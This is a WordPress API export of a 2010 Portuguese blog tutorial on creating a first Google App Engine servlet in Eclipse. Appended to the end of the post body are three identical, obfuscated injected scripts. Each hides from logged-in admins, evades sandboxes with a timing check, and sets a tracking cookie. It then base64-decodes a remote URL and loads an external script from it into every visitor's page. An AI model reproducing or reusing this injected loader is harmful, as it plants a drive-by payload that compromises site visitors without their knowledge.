{"id":448,"date":"2010-10-03T13:44:19","date_gmt":"2010-10-03T16:44:19","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=448"},"modified":"2025-10-26T22:43:00","modified_gmt":"2025-10-27T01:43:00","slug":"comecando-com-google-app-engine","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/03\/comecando-com-google-app-engine\/","title":{"rendered":"Come\u00e7ando com Google App Engine"},"content":{"rendered":"<p style=\"text-align: justify;\">O <a title=\"Google App Engine\" href=\"https:\/\/appengine.google.com\/\" target=\"_blank\" rel=\"noopener\">Google App Engine<\/a> ou GAE \u00e9 uma plataforma para desenvolvimento e hospedagem de aplica\u00e7\u00f5es Web da <a title=\"Google\" href=\"http:\/\/www.google.com.br\/\" target=\"_blank\" rel=\"noopener\">Google<\/a>. \u00c9 baseado em cloud-computing e disponibiliza os recursos do servidor de forma gratuita (at\u00e9 um certo ponto) atrav\u00e9s de v\u00e1rios servidores e data centers.<\/p>\n<p style=\"text-align: justify;\">As linguagens oferecidas nessa plataforma, por padr\u00e3o, s\u00e3o Java e Python. H\u00e1 ainda a possibilidade de se estender esse suporte atrav\u00e9s da plataforma Java e poder executar Groovy, JRuby, Scala, Clojure, Jython e Quercus. H\u00e1 algumas restri\u00e7\u00f5es como utilizar somente as classes da <a title=\"White list\" href=\"http:\/\/code.google.com\/appengine\/docs\/java\/jrewhitelist.html\" target=\"_blank\" rel=\"noopener\">lista branca do Google App Engine<\/a>, n\u00e3o se pode criar novas threads, entre outros.<\/p>\n<p style=\"text-align: justify;\">Se voc\u00ea quiser saber mais a respeito, pode ver os <a title=\"Posts\" href=\"http:\/\/blog.globalcode.com.br\/search\/label\/Rafael\" target=\"_blank\" rel=\"noopener\">posts<\/a> do <a title=\"Rafael Nunes\" href=\"http:\/\/twitter.com\/rafanunes\" target=\"_blank\" rel=\"noopener\">Rafael Nunes<\/a> no <a title=\"Globalcoders\" href=\"http:\/\/blog.globalcode.com.br\" target=\"_blank\" rel=\"noopener\">Globalcoders<\/a>. Esse post foi motivado pelo interesse dos meus alunos no <a title=\"Concurso\" href=\"http:\/\/blog.globalcode.com.br\/2010\/09\/1o-concurso-para-alunos-globalcode.html\" target=\"_blank\" rel=\"noopener\">concurso da Globalcode<\/a>. Tem um pessoal bem bacana participando.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo para configurar o ambiente \u00e9 instalar o eclipse e o plugin do GAE. Estou utilizando a vers\u00e3o Helios do Eclipse e a instala\u00e7\u00e3o dele e de outros plugins pode ser encontrada na <a title=\"Tag Eclipse\" href=\"http:\/\/www.thiagovespa.com.br\/blog\/tag\/eclipse\/\" target=\"_blank\" rel=\"noopener\">tag eclipse do blog<\/a>. Ap\u00f3s a instala\u00e7\u00e3o, abrir o Eclipse, Ir em Help, Eclipse Marketplace e procurar por Google Plugin for Eclipse e clicar em Install.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_558\" aria-describedby=\"caption-attachment-558\" style=\"width: 225px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Eclipse-Marketplace.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-558 \" title=\"Eclipse Marketplace\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Eclipse-Marketplace-225x300.png\" alt=\"Eclipse Marketplace\" width=\"225\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Eclipse-Marketplace-225x300.png 225w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Eclipse-Marketplace.png 587w\" sizes=\"auto, (max-width: 225px) 100vw, 225px\" \/><\/a><figcaption id=\"caption-attachment-558\" class=\"wp-caption-text\">Eclipse Marketplace<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Verificar se est\u00e3o selecionadas todas as op\u00e7\u00f5es e clicar em Next. Concordar com os termos se deseja prosseguir e clicar em Finish. Pressione OK caso o Eclipse lhe alerte sobre software n\u00e3o assinado e ao finalizar a instala\u00e7\u00e3o clique em Restart Now. Ao iniciar voc\u00ea dever\u00e1 perceber que apareceram novos \u00edcones. O primero \u00edcone \u00e9 utilizado para criar uma nova aplica\u00e7\u00e3o do GAE. Voc\u00ea tamb\u00e9m pode criar uma nova aplica\u00e7\u00e3o pelo menu: File, New, Other, Google, Web Application Project e clicar em Next. Realize uma dessas opera\u00e7\u00f5es, preencha o nome e o pacote do seu projeto e desmarque a op\u00e7\u00e3o Use Google Web Toolkit. Pressione Finish.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_563\" aria-describedby=\"caption-attachment-563\" style=\"width: 246px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Application-Project.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-563 \" title=\"New Web Application Project\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Application-Project-246x300.png\" alt=\"New Web Application Project\" width=\"246\" height=\"300\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Application-Project-246x300.png 246w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-New-Web-Application-Project.png 523w\" sizes=\"auto, (max-width: 246px) 100vw, 246px\" \/><\/a><figcaption id=\"caption-attachment-563\" class=\"wp-caption-text\">New Web Application Project<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">O GAE utiliza servlets para se comunicar com com o servidor. Ap\u00f3s criar a aplica\u00e7\u00e3o, ele ir\u00e1 criar a estrutura da aplica\u00e7\u00e3o com os descritores web.xml e app-engine.xml. Como o nome do meu projeto \u00e9 meio estranho, ele cria tamb\u00e9m uma servlet \"Hello World\" com um nome estranho. Para alterar o nome da servlet criada, clique com o bot\u00e3o direito nela, Refactor, Rename. Selecione os outros checkbox para alterar outras refer\u00eancias textuais (coment\u00e1rios e descritores) e clique em Next.<\/p>\n<p style=\"text-align: justify;\">\n<figure id=\"attachment_565\" aria-describedby=\"caption-attachment-565\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Rename-Compilation-Unit.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-565 \" title=\"Rename Compilation Unit\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Rename-Compilation-Unit-300x206.png\" alt=\"Rename Compilation Unit\" width=\"300\" height=\"206\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Rename-Compilation-Unit-300x206.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Rename-Compilation-Unit.png 482w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-565\" class=\"wp-caption-text\">Rename Compilation Unit<\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Clique em Finish para ele atualizar o web.xml e a Servlet. Ainda \u00e9 necess\u00e1rio atualizar o mapeamento da servlet no web.xml. Abra o arquivo e edite a seu contento. O meu ficou assim:<\/p>\n<pre class=\"brush: xml; highlight: [8,9,12,13]; title: ; notranslate\" title=\"\">\n&amp;lt;?xml version=&amp;quot;1.0&amp;quot; encoding=&amp;quot;utf-8&amp;quot;?&amp;gt;\n&amp;lt;web-app xmlns:xsi=&amp;quot;http:\/\/www.w3.org\/2001\/XMLSchema-instance&amp;quot;\nxmlns=&amp;quot;http:\/\/java.sun.com\/xml\/ns\/javaee&amp;quot;\nxmlns:web=&amp;quot;http:\/\/java.sun.com\/xml\/ns\/javaee\/web-app_2_5.xsd&amp;quot;\nxsi:schemaLocation=&amp;quot;http:\/\/java.sun.com\/xml\/ns\/javaee\nhttp:\/\/java.sun.com\/xml\/ns\/javaee\/web-app_2_5.xsd&amp;quot; version=&amp;quot;2.5&amp;quot;&amp;gt;\n\t&amp;lt;servlet&amp;gt;\n\t\t&amp;lt;servlet-name&amp;gt;OlaMundoServlet&amp;lt;\/servlet-name&amp;gt;\n\t\t&amp;lt;servlet-class&amp;gt;br.com.thiagovespa.gae.samples.helloworld.OlaMundoServlet&amp;lt;\/servlet-class&amp;gt;\n\t&amp;lt;\/servlet&amp;gt;\n\t&amp;lt;servlet-mapping&amp;gt;\n\t\t&amp;lt;servlet-name&amp;gt;OlaMundoServlet&amp;lt;\/servlet-name&amp;gt;\n\t\t&amp;lt;url-pattern&amp;gt;\/olaMundo&amp;lt;\/url-pattern&amp;gt;\n\t&amp;lt;\/servlet-mapping&amp;gt;\n\t&amp;lt;welcome-file-list&amp;gt;\n\t\t&amp;lt;welcome-file&amp;gt;index.html&amp;lt;\/welcome-file&amp;gt;\n\t&amp;lt;\/welcome-file-list&amp;gt;\n&amp;lt;\/web-app&amp;gt;\n<\/pre>\n<p style=\"text-align: justify;\">Abra o arquivo index.html e altere o conte\u00fado dele para algo mais apropriado. O meu ficou assim:<\/p>\n<pre class=\"brush: xml; highlight: [16]; title: ; notranslate\" title=\"\">\n&amp;lt;!DOCTYPE HTML PUBLIC &amp;quot;-\/\/W3C\/\/DTD HTML 4.01 Transitional\/\/EN&amp;quot;&amp;gt;\n&amp;lt;html&amp;gt;\n  &amp;lt;head&amp;gt;\n    &amp;lt;meta http-equiv=&amp;quot;content-type&amp;quot; content=&amp;quot;text\/html; charset=UTF-8&amp;quot;&amp;gt;\n    &amp;lt;title&amp;gt;Ol\u00e1 Google App Engine&amp;lt;\/title&amp;gt;\n  &amp;lt;\/head&amp;gt;\n\n  &amp;lt;body&amp;gt;\n    &amp;lt;h1&amp;gt;Ol\u00e1 Google App Engine!&amp;lt;\/h1&amp;gt;\n\n    &amp;lt;table&amp;gt;\n      &amp;lt;tr&amp;gt;\n        &amp;lt;td colspan=&amp;quot;2&amp;quot; style=&amp;quot;font-weight:bold;&amp;quot;&amp;gt;Servlets:&amp;lt;\/td&amp;gt;\n      &amp;lt;\/tr&amp;gt;\n      &amp;lt;tr&amp;gt;\n        &amp;lt;td&amp;gt;&amp;lt;a href=&amp;quot;olaMundo&amp;quot;&amp;gt;Ol\u00e1 Mundo!&amp;lt;\/a&amp;gt;&amp;lt;\/td&amp;gt;\n      &amp;lt;\/tr&amp;gt;\n    &amp;lt;\/table&amp;gt;\n  &amp;lt;\/body&amp;gt;\n&amp;lt;\/html&amp;gt;\n<\/pre>\n<p style=\"text-align: justify;\">Altere o c\u00f3digo da servlet para mostrar algo diferente:<\/p>\n<pre class=\"brush: java; highlight: [11]; title: ; notranslate\" title=\"\">\npackage br.com.thiagovespa.gae.samples.helloworld;\n\nimport java.io.IOException;\nimport javax.servlet.http.*;\n\n@SuppressWarnings(&amp;quot;serial&amp;quot;)\npublic class OlaMundoServlet extends HttpServlet {\n\tpublic void doGet(HttpServletRequest req, HttpServletResponse resp)\n\t\t\tthrows IOException {\n\t\tresp.setContentType(&amp;quot;text\/plain&amp;quot;);\n\t\tresp.getWriter().println(&amp;quot;Ol\u00e1 Mundo&amp;quot;);\n\t}\n}\n<\/pre>\n<p>Clique com o bot\u00e3o direito no projeto, Run As, Web Application. Aguarde a seguinte sa\u00edda:<\/p>\n<pre>Oct 3, 2010 4:32:25 PM com.google.apphosting.utils.jetty.JettyLogger info\nINFO: Logging to JettyLogger(null) via com.google.apphosting.utils.jetty.JettyLogger\nOct 3, 2010 4:32:25 PM com.google.apphosting.utils.config.AppEngineWebXmlReader readAppEngineWebXml\nINFO: Successfully processed \/development\/workspace\/workspace-thiagovespa\/thiagovespa-gae-samplehelloworld\/war\/WEB-INF\/appengine-web.xml\nOct 3, 2010 4:32:25 PM com.google.apphosting.utils.config.AbstractConfigXmlReader readConfigXml\nINFO: Successfully processed \/development\/workspace\/workspace-thiagovespa\/thiagovespa-gae-samplehelloworld\/war\/WEB-INF\/web.xml\nOct 3, 2010 1:32:25 PM com.google.appengine.tools.development.DevAppServerImpl start\nINFO: The server is running at http:\/\/localhost:8888\/<\/pre>\n<p style=\"text-align: justify;\">Voc\u00ea tamb\u00e9m pode entrar em modo de depura\u00e7\u00e3o clicando com o bot\u00e3o direito no projeto e Debug As, mas n\u00e3o o faremos no momento. Abra a url http:\/\/localhost:8888\/ em um browser de sua prefer\u00eancia e est\u00e1 feita a sua primeira aplica\u00e7\u00e3o no GAE.<\/p>\n<p style=\"text-align: center;\">\n<p><figure id=\"attachment_577\" aria-describedby=\"caption-attachment-577\" style=\"width: 300px\" class=\"wp-caption aligncenter\"><a href=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse1.png\" target=\"_blank\" rel=\"noopener\"><img loading=\"lazy\" decoding=\"async\" class=\"size-medium wp-image-577 \" title=\"Java EE - Eclipse\" src=\"http:\/\/www.thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse1-300x171.png\" alt=\"Java EE - Eclipse\" width=\"300\" height=\"171\" srcset=\"https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse1-300x171.png 300w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse1-1024x584.png 1024w, https:\/\/thiagovespa.com.br\/blog\/wp-content\/uploads\/2010\/10\/Screenshot-Java-EE-Eclipse1.png 1440w\" sizes=\"auto, (max-width: 300px) 100vw, 300px\" \/><\/a><figcaption id=\"caption-attachment-577\" class=\"wp-caption-text\">Java EE - Eclipse<\/figcaption><\/figure><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>O Google App Engine ou GAE \u00e9 uma plataforma para desenvolvimento e hospedagem de aplica\u00e7\u00f5es Web da Google. \u00c9 baseado em cloud-computing e disponibiliza os recursos do servidor de forma gratuita (at\u00e9 um certo ponto) atrav\u00e9s de v\u00e1rios servidores e <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2010\/10\/03\/comecando-com-google-app-engine\/\">Continue lendo  <span class=\"screen-reader-text\">  Come\u00e7ando com Google App Engine<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[3,10],"tags":[],"class_list":["post-448","post","type-post","status-publish","format-standard","hentry","category-java","category-jee"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/448","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=448"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/448\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=448"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=448"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=448"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}